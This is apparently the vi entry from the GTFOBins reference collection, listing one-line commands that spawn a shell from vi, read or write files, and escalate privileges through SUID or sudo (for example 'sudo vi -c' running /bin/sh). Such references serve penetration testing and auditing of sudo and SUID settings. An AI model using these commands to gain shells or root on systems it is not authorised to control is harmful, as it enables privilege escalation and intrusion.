GTFOBins.github.io/_gtfobins/vi.md
2018-07-16 15:01:50 +02:00

345 B

functions
execute-interactive file-write file-read suid-enabled sudo-enabled
code
vi -c ':!/bin/sh'
code
vi :set shell=/bin/sh :shell
code
vi file_to_write w
code
vi file_to_read
code
./vi -c ':!/bin/sh -p'
code
sudo vi -c ':!/bin/sh'